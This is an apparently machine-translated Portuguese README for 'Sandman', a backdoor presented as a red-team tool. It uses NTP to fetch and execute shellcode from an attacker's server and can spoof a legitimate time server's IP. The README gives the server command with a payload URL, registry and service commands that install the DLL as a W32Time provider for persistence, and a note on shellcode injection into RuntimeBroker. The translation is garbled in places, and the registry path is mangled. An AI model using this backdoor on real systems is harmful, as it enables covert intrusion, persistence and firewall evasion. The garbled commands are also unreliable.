Sandman é um backdoor que visa trabalhar em redes endurecidas durante os compromissos da equipe vermelha.
Sandman trabalha como um stager e aproveita o NTP (um protocolo para sincronizar a hora e a data) para obter e executar um código de shell arbitrário a partir de um servidor predefinido.
Como o NTP é um protocolo negligenciado por muitos defensores, resultando em ampla acessibilidade da rede.

Execute na máquina Windows / *nix:
python3 sandman_server.py " Network Adapter " " Payload Url " " optional: ip to spoof "Adaptador de rede: o adaptador que você deseja que o servidor ouça (por exemplo, Ethernet for Windows, ETH0 para *nix).
URL da carga útil: o URL do seu código de shell, pode ser seu agente (por exemplo, cobaltstrike ou medidor) ou outro stager.
IP para SPAROF: Se você deseja falsificar um endereço IP legítimo (por exemplo, time.microsoft.com Endereço IP).
Para começar, você pode compilar o Sandmanbackdoor, conforme mencionado abaixo, porque é um único executável C# leve, você pode executá -lo via ExecutESeSembly, executá -lo como um provedor NTP ou apenas executá -lo/injetar.
Para usá -lo, você precisará seguir as etapas simples:
reg add " HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient " /v DllName /t REG_SZ /d " C:PathToTheDll.dll " sc stop w32time
sc start w32timeNota: verifique se você está compilando com a opção x64 e não qualquer opção de CPU!
Obter e executar uma carga útil arbitrária do servidor controlado de um invasor.
Pode trabalhar em redes endurecidas, pois o NTP geralmente é permitido no FW.
Representar um servidor NTP legítimo por falsificação de IP.
Python 3.9
Os requisitos são especificados no arquivo de requisitos.
Para compilar o backdoor, usei o Visual Studio 2022, mas como mencionado na seção de uso, ele pode ser compilado com o VS2022 e o CSC. Você pode compilá -lo usando o use_shellcode e usar o shellcode da Orca ou sem use_shellcode para usar o WebClient.
Para compilar o backdoor, usei o Visual Studio 2022, você também precisará instalar o DLLEXPORT (via Nuget ou qualquer outra maneira) para compilá -lo. Você pode compilá -lo usando o use_shellcode e usar o shellcode da Orca ou sem use_shellcode para usar o WebClient.
Um código de shell é injetado no RuntimeBroker.
A comunicação suspeita do NTP começa com um cabeçalho mágico conhecido.
Regra Yara.
ORCA para o código de shell.
Agradecimentos especiais a Tim McGuffin pela ideia do provedor de tempo.
Graças àqueles que já contribuíram e aceitarei as contribuições, faça uma solicitação de tração e eu o revisarei!